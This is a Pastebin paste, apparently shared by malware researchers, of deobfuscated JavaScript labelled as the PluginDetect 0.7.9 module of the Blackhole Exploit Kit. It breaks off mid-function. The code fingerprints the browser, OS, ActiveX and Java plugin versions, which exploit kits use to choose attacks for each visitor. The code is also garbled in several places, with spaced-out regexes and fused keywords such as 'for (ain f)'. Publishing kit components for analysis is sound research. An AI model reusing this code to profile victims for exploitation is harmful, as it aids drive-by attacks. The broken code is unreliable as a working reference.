Advertisement
MalwareMustDie

#MMD BHEK PD0.7.9 forwarded by RedKit - 20121230

Dec 30th, 2012
1,885
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // #MMD BHEK PD0.7.9 forwarded by RedKit - 20121230
  2. var PluginDetect = {
  3.   version : "0.7.9", name : "PluginDetect", handler : function (c, b, a){
  4.     return function (){
  5.       c(b, a)
  6.     }
  7.   }
  8.   , openTag : "<", isDefined : function (b){
  9.     return typeof b != "undefined"
  10.   }
  11.   , isArray : function (b){
  12.     return (/array/i).test(Object.prototype.toString.call(b))
  13.   }
  14.   , isFunc : function (b){
  15.     return typeof b == "function"
  16.   }
  17.   , isString : function (b){
  18.     return typeof b == "string"
  19.   }
  20.   , isNum : function (b){
  21.     return typeof b == "number"
  22.   }
  23.   , isStrNum : function (b){
  24.     return (typeof b == "string" && (/\d/).test(b))
  25.   }
  26.   , getNumRegx :/ [ \ d][ \ d \ . \ _ ,- ] */, splitNumRegx :/ [ \ . \ _ ,- ] / g, getNum :
  27.   function (b, c){
  28.     var d = this , a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).
  29.     exec(b) : null;
  30.     return a ? a[0] : null
  31.   }
  32.   , compareNums : function (h, f, d){
  33.     var e = this , c, b, a, g = parseInt;
  34.     if (e.isStrNum(h) && e.isStrNum(f)){
  35.       if (e.isDefined(d) && d.compareNums){
  36.         return d.compareNums(h, f)
  37.       }
  38.       c = h.split(e.splitNumRegx);
  39.       b = f.split(e.splitNumRegx);
  40.       for (a = 0; a < Math.min(c.length, b.length);
  41.       a ++ ){
  42.         if (g(c[a], 10) > g(b[a], 10)){
  43.           return 1
  44.         }
  45.         if (g(c[a], 10) < g(b[a], 10)){
  46.           return  - 1
  47.         }
  48.       }
  49.     }
  50.     return 0
  51.   }
  52.   , formatNum : function (b, c){
  53.     var d = this , a, e;
  54.     if (!d.isStrNum(b)){
  55.       return null
  56.     }
  57.     if (!d.isNum(c)){
  58.       c = 4
  59.     }
  60.     c--;
  61.     e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
  62.     for (a = 0; a < 4; a ++ ){
  63.       if (/^(0+)(.+)$/.test(e[a])){
  64.         e[a] = RegExp.$2
  65.       }
  66.       if (a > c ||! (/\d/).test(e[a])){
  67.         e[a] = "0"
  68.       }
  69.     }
  70.     return e.slice(0, 4).join(",")
  71.   }
  72.   , $$hasMimeType : function (a){
  73.     return function (c){
  74.       if (!a.isIE && c){
  75.         var f, e, b, d = a.isArray(c) ? c : (a.isString(c) ? [c] : []);
  76.         for (b = 0; b < d.length; b ++ ){
  77.           if (a.isString(d[b]) &&/ [ ^\ s] / .test(d[b])){
  78.             f = navigator.mimeTypes[d[b]];
  79.             e = f ? f.enabledPlugin : 0;
  80.             if (e && (e.name || e.description)){
  81.               return f
  82.             }
  83.           }
  84.         }
  85.       }
  86.       return null
  87.     }
  88.   }
  89.   , findNavPlugin : function (l, e, c){
  90.     var j = this , h = new RegExp(l, "i"), d = (!j.isDefined(e) || e) ?/\ d /: 0, k = c ?
  91.     new RegExp(c, "i") : 0, a = navigator.plugins, g = "", f, b, m;
  92.     for (f = 0; f < a.length; f ++ ){
  93.       m = a[f].description || g;
  94.       b = a[f].name || g;
  95.       if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.
  96.       test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))){
  97.         if (!k ||! (k.test(m) || k.test(b))){
  98.           return a[f]
  99.         }
  100.       }
  101.     }
  102.     return null
  103.   }
  104.   , getMimeEnabledPlugin : function (k, m, c){
  105.     var e = this , f, b = new RegExp(m, "i"), h = "", g = c ? new RegExp(c, "i") : 0, a, l
  106.     , d, j = e.isString(k) ? [k] : k;
  107.     for (d = 0; d < j.length; d ++ ){
  108.       if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin)){
  109.         l = f.description || h;
  110.         a = f.name || h;
  111.         if (b.test(l) || b.test(a)){
  112.           if (!g ||! (g.test(l) || g.test(a))){
  113.             return f
  114.           }
  115.         }
  116.       }
  117.     }
  118.     return 0
  119.   }
  120.   , getPluginFileVersion : function (f, b){
  121.     var h = this , e, d, g, a, c =- 1;
  122.     if (h.OS > 2 ||! f ||! f.version ||! (e = h.getNum(f.version))){
  123.       return b
  124.     }
  125.     if (!b){
  126.       return e
  127.     }
  128.     e = h.formatNum(e);
  129.     b = h.formatNum(b);
  130.     d = b.split(h.splitNumRegx);
  131.     g = e.split(h.splitNumRegx);
  132.     for (a = 0; a < d.length; a ++ ){
  133.       if ( - 1 < c && c < a &&! (d[a] == "0")){
  134.         return b
  135.       }
  136.       if (g[a] != d[a]){
  137.         if (c ==- 1){
  138.           c = a
  139.         }
  140.         if (d[a] != "0"){
  141.           return b
  142.         }
  143.       }
  144.     }
  145.     return e
  146.   }
  147.   , AXO : window.ActiveXObject, getAXO : function (a){
  148.     var f = null, d, b = this , c = {
  149.     }
  150.     ;
  151.     try {
  152.       f = new b.AXO(a)
  153.     }
  154.     catch (d){
  155.     }
  156.     return f
  157.   }
  158.   , convertFuncs : function (f){
  159.     var a, g, d, b =/^ [ \ $][ \ $] /, c = this ;
  160.     for (ain f){
  161.       if (b.test(a)){
  162.         try {
  163.           g = a.slice(2);
  164.           if (g.length > 0 &&! f[g]){
  165.             f[g] = f[a](f);
  166.             deletef[a]
  167.           }
  168.         }
  169.         catch (d){
  170.         }
  171.       }
  172.     }
  173.   }
  174.   , initObj : function (e, b, d){
  175.     var a, c;
  176.     if (e){
  177.       if (e[b[0]] == 1 || d){
  178.         for (a = 0; a < b.length; a = a + 2){
  179.           e[b[a]] = b[a + 1]
  180.         }
  181.       }
  182.       for (ain e){
  183.         c = e[a];
  184.         if (c && c[b[0]] == 1){
  185.           this .initObj(c, b)
  186.         }
  187.       }
  188.     }
  189.   }
  190.   , initScript : function (){
  191.     var d = this , a = navigator, h, i = document, l = a.userAgent || "", j = a.vendor ||
  192.     "", b = a.platform || "", k = a.product || "";
  193.     d.initObj(d, ["$", d]);
  194.     for (hin d.Plugins){
  195.       if (d.Plugins[h]){
  196.         d.initObj(d.Plugins[h], ["$", d, "$$", d.Plugins[h]], 1)
  197.       }
  198.     }
  199.     d.convertFuncs(d);
  200.     d.OS = 100;
  201.     if (b){
  202.       var g = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2,
  203.       "iPad", 21.3, "Win." + "*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\s*PC", 22.3, "",
  204.       100];
  205.       for (h = g.length - 2; h >= 0; h = h - 2){
  206.         if (g[h] && new RegExp(g[h], "i").test(b)){
  207.           d.OS = g[h + 1];
  208.           break
  209.         }
  210.       }
  211.     }
  212.     ;
  213.     d.head = i.getElementsByTagName("head")[0] || i.getElementsByTagName("body")[0] || i.
  214.     body || null;
  215.     d.isIE = new Function("return/*@cc_on!@*/!1")();
  216.     d.verIE = d.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(l) ? parseFloat(RegExp.$1, 10) : null
  217.     ;
  218.     d.ActiveXEnabled = false;
  219.     if (d.isIE){
  220.       var h, m = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM",
  221.       "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper",
  222.       "Scripting.Dictionary", "wmplayer.ocx"];
  223.       for (h = 0; h < m.length; h ++ ){
  224.         if (d.getAXO(m[h])){
  225.           d.ActiveXEnabled = true;
  226.           break
  227.         }
  228.       }
  229.     }
  230.     ;
  231.     d.isGecko = (/Gecko\s*\/\s*\d/i).test(l) && (/Gecko/i).test(k);
  232.     d.verGecko = d.isGecko ? d.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(l) ? RegExp.$1 :
  233.     "0.9") : null;
  234.     d.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(l);
  235.     d.verChrome = d.isChrome ? d.formatNum(RegExp.$1) : null;
  236.     d.isSafari = ((/Apple/i).test(j) || (!j &&! d.isChrome)) && (
  237.     /Safari\s*\/\s*(\d[\d\.]*)/i).test(l);
  238.     d.verSafari = d.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(l) ? d.formatNum(
  239.     RegExp.$1) : null;
  240.     d.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(l);
  241.     d.verOpera = d.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(l) || 1) ? parseFloat(
  242.     RegExp.$1, 10) : null;
  243.     d.addWinEvent("load", d.handler(d.runWLfuncs, d))
  244.   }
  245.   , init : function (d){
  246.     var c = this , b, d, a = {
  247.       status :- 3, plugin : 0
  248.     }
  249.     ;
  250.     if (!c.isString(d)){
  251.       return a
  252.     }
  253.     if (d.length == 1){
  254.       c.getVersionDelimiter = d;
  255.       return a
  256.     }
  257.     d = d.toLowerCase().replace(/\s/g, "");
  258.     b = c.Plugins[d];
  259.     if (!b ||! b.getVersion){
  260.       return a
  261.     }
  262.     a.plugin = b;
  263.     if (!c.isDefined(b.installed)){
  264.       b.installed = null;
  265.       b.version = null;
  266.       b.version0 = null;
  267.       b.getVersionDone = null;
  268.       b.pluginName = d
  269.     }
  270.     c.garbage = false;
  271.     if (c.isIE &&! c.ActiveXEnabled && d !== "Ja" + "va"){
  272.       a.status =- 2;
  273.       return a
  274.     }
  275.     a.status = 1;
  276.     return a
  277.   }
  278.   , fPush : function (b, a){
  279.     var c = this ;
  280.     if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && c.isFunc(b[0]) && 0 < b.length
  281.     ))){
  282.       a.push(b)
  283.     }
  284.   }
  285.   , callArray : function (b){
  286.     var c = this , a;
  287.     if (c.isArray(b)){
  288.       for (a = 0; a < b.length; a ++ ){
  289.         if (b[a] === null){
  290.           return
  291.         }
  292.         c.call(b[a]);
  293.         b[a] = null
  294.       }
  295.     }
  296.   }
  297.   , call : function (c){
  298.     var b = this , a = b.isArray(c) ? c.length :- 1;
  299.     if (0 < a && b.isFunc(c[0])){
  300.       c[0](b, a > 1 ? c[1] : 0, a > 2 ? c[2] : 0, a > 3 ? c[3] : 0)
  301.     }
  302.     else {
  303.       if (b.isFunc(c)){
  304.         c(b)
  305.       }
  306.     }
  307.   }
  308.   , $$isMinVersion : function (a){
  309.     return function (h, g, d, c){
  310.       var e = a.init(h), f, b =- 1, j = {
  311.       }
  312.       ;
  313.       if (e.status < 0){
  314.         return e.status
  315.       }
  316.       f = e.plugin;
  317.       g = a.formatNum(a.isNum(g) ? g.toString() : (a.isStrNum(g) ? a.getNum(g) : "0"));
  318.       if (f.getVersionDone != 1){
  319.         f.getVersion(g, d, c);
  320.         if (f.getVersionDone === null){
  321.           f.getVersionDone = 1
  322.         }
  323.       }
  324.       a.cleanup();
  325.       if (f.installed !== null){
  326.         b = f.installed <= 0.5 ? f.installed : (f.installed == 0.7 ? 1 : (f.version ===
  327.         null         ? 0 : (a.compareNums(f.version, g, f) >= 0 ? 1 :- 0.1)))
  328.       }
  329.       ;
  330.       return b
  331.     }
  332.   }
  333.   , getVersionDelimiter : ",", $$getVersion : function (a){
  334.     return function (g, d, c){
  335.       var e = a.init(g), f, b, h = {
  336.       }
  337.       ;
  338.       if (e.status < 0){
  339.         return null
  340.       }
  341.       ;
  342.       f = e.plugin;
  343.       if (f.getVersionDone != 1){
  344.         f.getVersion(null, d, c);
  345.         if (f.getVersionDone === null){
  346.           f.getVersionDone = 1
  347.         }
  348.       }
  349.       a.cleanup();
  350.       b = (f.version || f.version0);
  351.       b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b;
  352.       return b
  353.     }
  354.   }
  355.   , cleanup : function (){
  356.     var a = this ;
  357.     if (a.garbage && a.isDefined(window.CollectGarbage)){
  358.       window.CollectGarbage()
  359.     }
  360.   }
  361.   , addWinEvent : function (d, c){
  362.     var e = this , a = window, b;
  363.     if (e.isFunc(c)){
  364.       if (a.addEventListener){
  365.         a.addEventListener(d, c, false)
  366.       }
  367.       else {
  368.         if (a.attachEvent){
  369.           a.attachEvent("on" + d, c)
  370.         }
  371.         else {
  372.           b = a["on" + d];
  373.           a["on" + d] = e.winHandler(c, b)
  374.         }
  375.       }
  376.     }
  377.   }
  378.   , winHandler : function (d, c){
  379.     return function (){
  380.       d();
  381.       if (typeof c == "function"){
  382.         c()
  383.       }
  384.     }
  385.   }
  386.   , WLfuncs0 : [], WLfuncs : [], runWLfuncs : function (a){
  387.     var b = {
  388.     }
  389.     ;
  390.     a.winLoaded = true;
  391.     a.callArray(a.WLfuncs0);
  392.     a.callArray(a.WLfuncs);
  393.     if (a.onDoneEmptyDiv){
  394.       a.onDoneEmptyDiv()
  395.     }
  396.   }
  397.   , winLoaded : false, $$onWindowLoaded : function (a){
  398.     return function (b){
  399.       if (a.winLoaded){
  400.         a.call(b)
  401.       }
  402.       else {
  403.         a.fPush(b, a.WLfuncs)
  404.       }
  405.     }
  406.   }
  407.   , $$onDetectionDone : function (a){
  408.     return function (h, g, c, b){
  409.       var d = a.init(h), k, e, j = {
  410.       }
  411.       ;
  412.       if (d.status ==- 3){
  413.         return  - 1
  414.       }
  415.       e = d.plugin;
  416.       if (!a.isArray(e.funcs)){
  417.         e.funcs = []
  418.       }
  419.       if (e.getVersionDone != 1){
  420.         k = a.isMinVersion ? a.isMinVersion(h, "0", c, b) : a.getVersion(h, c, b)
  421.       }
  422.       if (e.installed !=- 0.5 && e.installed != 0.5){
  423.         a.call(g);
  424.         return 1
  425.       }
  426.       if (e.NOTF){
  427.         a.fPush(g, e.funcs);
  428.         return 0
  429.       }
  430.       return 1
  431.     }
  432.   }
  433.   , div : null, divID : "plugindetect", divWidth : 50, pluginSize : 1, emptyDiv : function
  434.   (){
  435.     var d = this , b, h, c, a, f, g;
  436.     if (d.div && d.div.childNodes){
  437.       for (b = d.div.childNodes.length - 1; b >= 0; b -- ){
  438.         c = d.div.childNodes[b];
  439.         if (c && c.childNodes){
  440.           for (h = c.childNodes.length - 1; h >= 0; h -- ){
  441.             g = c.childNodes[h];
  442.             try {
  443.               c.removeChild(g)
  444.             }
  445.             catch (f){
  446.             }
  447.           }
  448.         }
  449.         if (c){
  450.           try {
  451.             d.div.removeChild(c)
  452.           }
  453.           catch (f){
  454.           }
  455.         }
  456.       }
  457.     }
  458.     if (!d.div){
  459.       a = document.getElementById(d.divID);
  460.       if (a){
  461.         d.div = a
  462.       }
  463.     }
  464.     if (d.div && d.div.parentNode){
  465.       try {
  466.         d.div.parentNode.removeChild(d.div)
  467.       }
  468.       catch (f){
  469.       }
  470.       d.div = null
  471.     }
  472.   }
  473.   , DONEfuncs : [], onDoneEmptyDiv : function (){
  474.     var c = this , a, b;
  475.     if (!c.winLoaded){
  476.       return
  477.     }
  478.     if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null){
  479.       return
  480.     }
  481.     for (ain c){
  482.       b = c[a];
  483.       if (b && b.funcs){
  484.         if (b.OTF == 3){
  485.           return
  486.         }
  487.         if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null){
  488.           return
  489.         }
  490.       }
  491.     }
  492.     for (a = 0; a < c.DONEfuncs.length; a ++ ){
  493.       c.callArray(c.DONEfuncs)
  494.     }
  495.     c.emptyDiv()
  496.   }
  497.   , getWidth : function (c){
  498.     if (c){
  499.       var a = c.scrollWidth || c.offsetWidth, b = this ;
  500.       if (b.isNum(a)){
  501.         return a
  502.       }
  503.     }
  504.     return  - 1
  505.   }
  506.   , getTagStatus : function (m, g, a, b){
  507.     var c = this , f, k = m.span, l = c.getWidth(k), h = a.span, j = c.getWidth(h), d = g.
  508.     span, i = c.getWidth(d);
  509.     if (!k ||! h ||! d ||! c.getDOMobj(m)){
  510.       return  - 2
  511.     }
  512.     if (j < i || 0 > l || 0 > j || 0 > i || i <= c.pluginSize || c.pluginSize < 1){
  513.       return 0
  514.     }
  515.     if (l >= i){
  516.       return  - 1
  517.     }
  518.     try {
  519.       if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4)){
  520.         if (!m.winLoaded && c.winLoaded){
  521.           return 1
  522.         }
  523.         if (m.winLoaded && c.isNum(b)){
  524.           if (!c.isNum(m.count)){
  525.             m.count = b
  526.           }
  527.           if (b - m.count >= 10){
  528.             return 1
  529.           }
  530.         }
  531.       }
  532.     }
  533.     catch (f){
  534.     }
  535.     return 0
  536.   }
  537.   , getDOMobj : function (g, a){
  538.     var f, d = this , c = g ? g.span : 0, b = c && c.firstChild ? 1 : 0;
  539.     try {
  540.       if (b && a){
  541.         d.div.focus()
  542.       }
  543.     }
  544.     catch (f){
  545.     }
  546.     return b ? c.firstChild : null
  547.   }
  548.   , setStyle : function (b, g){
  549.     var f = b.style, a, d, c = this ;
  550.     if (f && g){
  551.       for (a = 0; a < g.length; a = a + 2){
  552.         try {
  553.           f[g[a]] = g[a + 1]
  554.         }
  555.         catch (d){
  556.         }
  557.       }
  558.     }
  559.   }
  560.   , insertDivInBody : function (i, g){
  561.     var f, c = this , h = "pd33993399", b = null, d = g ? window.top.document : window.
  562.     document, a = d.getElementsByTagName("body")[0] || d.body;
  563.     if (!a){
  564.       try {
  565.         d.write('<div id="' + h + '">.' + c.openTag + "/div>");
  566.         b = d.getElementById(h)
  567.       }
  568.       catch (f){
  569.       }
  570.     }
  571.     a = d.getElementsByTagName("body")[0] || d.body;
  572.     if (a){
  573.       a.insertBefore(i, a.firstChild);
  574.       if (b){
  575.         a.removeChild(b)
  576.       }
  577.     }
  578.   }
  579.   , insertHTML : function (f, b, g, a, k){
  580.     var l, m = document, j = this , p, o = m.createElement("span"), n, i;
  581.     var c = ["outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin",
  582.     "0px", "visibility", "visible"];
  583.     var h =
  584.     "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;";
  585.     if (!j.isDefined(a)){
  586.       a = ""
  587.     }
  588.     if (j.isString(f) && (/[^\s]/).test(f)){
  589.       f = f.toLowerCase().replace(/\s/g, "");
  590.       p = j.openTag + f + ' width="' + j.pluginSize + '" height="' + j.pluginSize + '" ';
  591.       p += 'style="' + h + 'display:inline;" ';
  592.       for (n = 0; n < b.length; n = n + 2){
  593.         if (/[^\s]/.test(b[n + 1])){
  594.           p += b[n] + '="' + b[n + 1] + '" '
  595.         }
  596.       }
  597.       p += ">";
  598.       for (n = 0; n < g.length; n = n + 2){
  599.         if (/[^\s]/.test(g[n + 1])){
  600.           p += j.openTag + 'param name="' + g[n] + '" value="' + g[n + 1] + '" />'
  601.         }
  602.       }
  603.       p += a + j.openTag + "/" + f + ">"
  604.     }
  605.     else {
  606.       p = a
  607.     }
  608.     if (!j.div){
  609.       i = m.getElementById(j.divID);
  610.       if (i){
  611.         j.div = i
  612.       }
  613.       else {
  614.         j.div = m.createElement("div");
  615.         j.div.id = j.divID
  616.       }
  617.       j.setStyle(j.div, c.concat(["width", j.divWidth + "px", "height", (j.pluginSize + 3)
  618.        + "px", "fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) +
  619.       "px", "verticalAlign", "baseline", "display", "block"]));
  620.       if (!i){
  621.         j.setStyle(j.div, ["position", "absolute", "right", "0px", "top", "0px"]);
  622.         j.insertDivInBody(j.div)
  623.       }
  624.     }
  625.     if (j.div && j.div.parentNode){
  626.       j.setStyle(o, c.concat(["fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.
  627.       pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "inline"]));
  628.       try {
  629.         o.innerHTML = p
  630.       }
  631.       catch (l){
  632.       }
  633.       ;
  634.       try {
  635.         j.div.appendChild(o)
  636.       }
  637.       catch (l){
  638.       }
  639.       ;
  640.       return {
  641.         span : o, winLoaded : j.winLoaded, tagName : f, outerHTML : p
  642.       }
  643.     }
  644.     return {
  645.       span : null, winLoaded : j.winLoaded, tagName : "", outerHTML : p
  646.     }
  647.   }
  648.   , file : {
  649.     $ : 1, any : "fileStorageAny999", valid : "fileStorageValid999", save : function (d, f
  650.     , c){
  651.       var b = this , e = b.$, a;
  652.       if (d && e.isDefined(c)){
  653.         if (!d[b.any]){
  654.           d[b.any] = []
  655.         }
  656.         if (!d[b.valid]){
  657.           d[b.valid] = []
  658.         }
  659.         d[b.any].push(c);
  660.         a = b.split(f, c);
  661.         if (a){
  662.           d[b.valid].push(a)
  663.         }
  664.       }
  665.     }
  666.     , getValidLength : function (a){
  667.       return a && a[this .valid] ? a[this .valid].length : 0
  668.     }
  669.     , getAnyLength : function (a){
  670.       return a && a[this .any] ? a[this .any].length : 0
  671.     }
  672.     , getValid : function (c, a){
  673.       var b = this ;
  674.       return c && c[b.valid] ? b.get(c[b.valid], a) : null
  675.     }
  676.     , getAny : function (c, a){
  677.       var b = this ;
  678.       return c && c[b.any] ? b.get(c[b.any], a) : null
  679.     }
  680.     , get : function (d, a){
  681.       var c = d.length - 1, b = this .$.isNum(a) ? a : c;
  682.       return (0 > b || b > c) ? null : d[b]
  683.     }
  684.     , split : function (g, c){
  685.       var b = this , e = b.$, f = null, a, d;
  686.       g = g ? g.replace(".", "\.") : "";
  687.       d = new RegExp("^(.*[^\/])(" + g + "\s*)$");
  688.       if (e.isString(c) && d.test(c)){
  689.         a = (RegExp.$1).split("/");
  690.         f = {
  691.           name : a[a.length - 1], ext : RegExp.$2, full : c
  692.         }
  693.         ;
  694.         a[a.length - 1] = "";
  695.         f.path = a.join("/")
  696.       }
  697.       return f
  698.     }
  699.     , z : 0
  700.   }
  701.   , Plugins : {
  702.     java : {
  703.       mimeType : ["application/x-java-applet", "application/x-java-vm",
  704.       "application/x-java-bean"], classID : "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
  705.       navigator : {
  706.         a : window.navigator.javaEnabled(), javaEnabled : function (){
  707.           return this .a
  708.         }
  709.         , mimeObj : 0, pluginObj : 0
  710.       }
  711.       , OTF : null, minIEver : 7, debug : 0, debugEnable : function (){
  712.         var a = this , b = a.$;
  713.         a.debug = 1
  714.       }
  715.       , isDisabled : {
  716.         $ : 1, DTK : function (){
  717.           var a = this , c = a.$, b = a.$$;
  718.           if ((c.isGecko && c.compareNums(c.verGecko, c.formatNum("1.6")) <= 0) || (c.
  719.           isSafari && c.OS == 1 && (!c.verSafari || 0 > c.compareNums(c.verSafari,
  720.           "5,1,0,0"))) || c.isChrome || (c.isIE &&! c.ActiveXEnabled)){
  721.             return 1
  722.           }
  723.           return 0
  724.         }
  725.         , AXO : function (){
  726.           var a = this , c = a.$, b = a.$$;
  727.           return (!c.isIE ||! c.ActiveXEnabled || (!b.debug && b.DTK.query().status !== 0
  728.           ))
  729.         }
  730.         , navMime : function (){
  731.           var b = this , d = b.$, c = b.$$, a = c.navigator;
  732.           if (d.isIE ||! a.mimeObj ||! a.pluginObj){
  733.             return 1
  734.           }
  735.           return 0
  736.         }
  737.         , navPlugin : function (){
  738.           var b = this , d = b.$, c = b.$$, a = c.navigator;
  739.           if (d.isIE ||! a.mimeObj ||! a.pluginObj){
  740.             return 1
  741.           }
  742.           return 0
  743.         }
  744.         , windowDotJava : function (){
  745.           var a = this , c = a.$, b = a.$$;
  746.           if (!window.java){
  747.             return 1
  748.           }
  749.           if (c.OS == 2 && c.verOpera > 8 && c.verOpera && c.verOpera < (9.3 - 0.1)){
  750.             return 1
  751.           }
  752.           return 0
  753.         }
  754.         , allApplets : function (){
  755.           var b = this , d = b.$, c = b.$$, a = c.navigator;
  756.           if (d.OS >= 20){
  757.             return 0
  758.           }
  759.           if (d.verOpera && d.verOpera < 11 &&! a.javaEnabled() &&! c.lang.System.
  760.           getProperty()[0]){
  761.             return 1
  762.           }
  763.           if ((d.verGecko && 0 > d.compareNums(d.verGecko, d.formatNum("2"))) &&! a.
  764.           mimeObj &&! c.lang.System.getProperty()[0]){
  765.             return 1
  766.           }
  767.           return 0
  768.         }
  769.         , AppletTag : function (){
  770.           var b = this , d = b.$, c = b.$$, a = c.navigator;
  771.           return d.isIE ?! a.javaEnabled() : 0
  772.         }
  773.         , ObjectTag : function (){
  774.           var a = this , c = a.$, b = a.$$;
  775.           return c.isIE ?! c.ActiveXEnabled : 0
  776.         }
  777.         , z : 0
  778.       }
  779.       , getVerifyTagsDefault : function (){
  780.         var a = this , c = a.$, b = [1, 0, 1];
  781.         if (c.OS >= 20){
  782.           return b
  783.         }
  784.         if ((c.isIE && (c.verIE < 9 ||! c.ActiveXEnabled)) || (c.verGecko && 0 > c.
  785.         compareNums(c.verGecko, c.formatNum("2"))) || (c.isSafari && (!c.verSafari || 0 >
  786.         c.compareNums(c.verSafari, c.formatNum("4")))) || (c.verOpera && c.verOpera < 10
  787.         )){
  788.           b = [1, 1, 1]
  789.         }
  790.         return b
  791.       }
  792.       , getVersion : function (j, g, i){
  793.         var b = this , d = b.$, e, a = b.applet, h = b.verify, k = b.navigator, f = null,
  794.         l = null, c = null;
  795.         if (b.getVersionDone === null){
  796.           b.OTF = 0;
  797.           k.mimeObj = d.hasMimeType(b.mimeType);
  798.           if (k.mimeObj){
  799.             k.pluginObj = k.mimeObj.enabledPlugin
  800.           }
  801.           if (h){
  802.             h.begin()
  803.           }
  804.         }
  805.         a.setVerifyTagsArray(i);
  806.         d.file.save(b, ".jar", g);
  807.         if (b.getVersionDone === 0){
  808.           if (a.should_Insert_Query_Any()){
  809.             e = a.insert_Query_Any();
  810.             b.setPluginStatus(e[0], e[1], f)
  811.           }
  812.           return
  813.         }
  814.         if ((!f || b.debug) && b.DTK.query().version){
  815.           f = b.DTK.version
  816.         }
  817.         if ((!f || b.debug) && b.navMime.query().version){
  818.           f = b.navMime.version
  819.         }
  820.         if ((!f || b.debug) && b.navPlugin.query().version){
  821.           f = b.navPlugin.version
  822.         }
  823.         if ((!f || b.debug) && b.AXO.query().version){
  824.           f = b.AXO.version
  825.         }
  826.         if (b.nonAppletDetectionOk(f)){
  827.           c = f
  828.         }
  829.         if (!c || b.debug || a.VerifyTagsHas(2.2) || a.VerifyTagsHas(2.5)){
  830.           e = b.lang.System.getProperty();
  831.           if (e[0]){
  832.             f = e[0];
  833.             c = e[0];
  834.             l = e[1]
  835.           }
  836.         }
  837.         b.setPluginStatus(c, l, f);
  838.         if (a.should_Insert_Query_Any()){
  839.           e = a.insert_Query_Any();
  840.           if (e[0]){
  841.             c = e[0];
  842.             l = e[1]
  843.           }
  844.         }
  845.         b.setPluginStatus(c, l, f)
  846.       }
  847.       , nonAppletDetectionOk : function (b){
  848.         var d = this , e = d.$, a = d.navigator, c = 1;
  849.         if (!b || (!a.javaEnabled() &&! d.lang.System.getPropertyHas(b)) || (!e.isIE &&! a
  850.         .mimeObj &&! d.lang.System.getPropertyHas(b)) || (e.isIE &&! e.ActiveXEnabled)){
  851.           c = 0
  852.         }
  853.         else {
  854.           if (e.OS >= 20){
  855.           }
  856.           else {
  857.             if (d.info && 0 > d.info.getPlugin2Status() && d.info.BrowserRequiresPlugin2
  858.             ()){
  859.               c = 0
  860.             }
  861.           }
  862.         }
  863.         return c
  864.       }
  865.       , setPluginStatus : function (d, f, a){
  866.         var c = this , e = c.$, b;
  867.         a = a || c.version0;
  868.         if (0 < c.OTF){
  869.           d = d || c.lang.System.getProperty()[0]
  870.         }
  871.         if (c.OTF < 3){
  872.           b = d ? 1 : (a ?- 0.2 :- 1);
  873.           if (c.installed === null || b > c.installed){
  874.             c.installed = b
  875.           }
  876.         }
  877.         if (c.OTF == 2 && c.NOTF &&! c.applet.getResult()[0] &&! c.lang.System.getProperty
  878.         ()[0]){
  879.           c.installed = a ?- 0.2 :- 1
  880.         }
  881.         ;
  882.         if (c.OTF == 3 && c.installed !=- 0.5 && c.installed != 0.5){
  883.           c.installed = (c.NOTF.isJavaActive(1) == 1 || c.lang.System.getProperty()[0]) ?
  884.           0.5 :- 0.5
  885.         }
  886.         if (c.OTF == 4 && (c.installed ==- 0.5 || c.installed == 0.5)){
  887.           if (d){
  888.             c.installed = 1
  889.           }
  890.           else {
  891.             if (c.NOTF.isJavaActive(1) == 1){
  892.               if (a){
  893.                 c.installed = 1;
  894.                 d = a
  895.               }
  896.               else {
  897.                 c.installed = 0
  898.               }
  899.             }
  900.             else {
  901.               if (a){
  902.                 c.installed =- 0.2
  903.               }
  904.               else {
  905.                 c.installed =- 1
  906.               }
  907.             }
  908.           }
  909.         }
  910.         ;
  911.         if (a){
  912.           c.version0 = e.formatNum(e.getNum(a))
  913.         }
  914.         if (d){
  915.           c.version = e.formatNum(e.getNum(d))
  916.         }
  917.         if (f && e.isString(f)){
  918.           c.vendor = f
  919.         }
  920.         if (!c.vendor){
  921.           c.vendor = ""
  922.         }
  923.         if (c.verify && c.verify.isEnabled()){
  924.           c.getVersionDone = 0
  925.         }
  926.         else {
  927.           if (c.getVersionDone != 1){
  928.             if (c.OTF < 2){
  929.               c.getVersionDone = 0
  930.             }
  931.             else {
  932.               c.getVersionDone = c.applet.can_Insert_Query_Any() ? 0 : 1
  933.             }
  934.           }
  935.         }
  936.       }
  937.       , DTK : {
  938.         $ : 1, hasRun : 0, status : null, VERSIONS : [], version : "", HTML : null,
  939.         Plugin2Status : null, classID : ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA",
  940.         "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"], mimeType : [
  941.         "application/java-deployment-toolkit",
  942.         "application/npruntime-scriptable-plugin;DeploymentToolkit"], disabled : function
  943.         (){
  944.           return this .$$.isDisabled.DTK()
  945.         }
  946.         , query : function (){
  947.           var k = this , g = k.$, d = k.$$, j, l, h, m = {
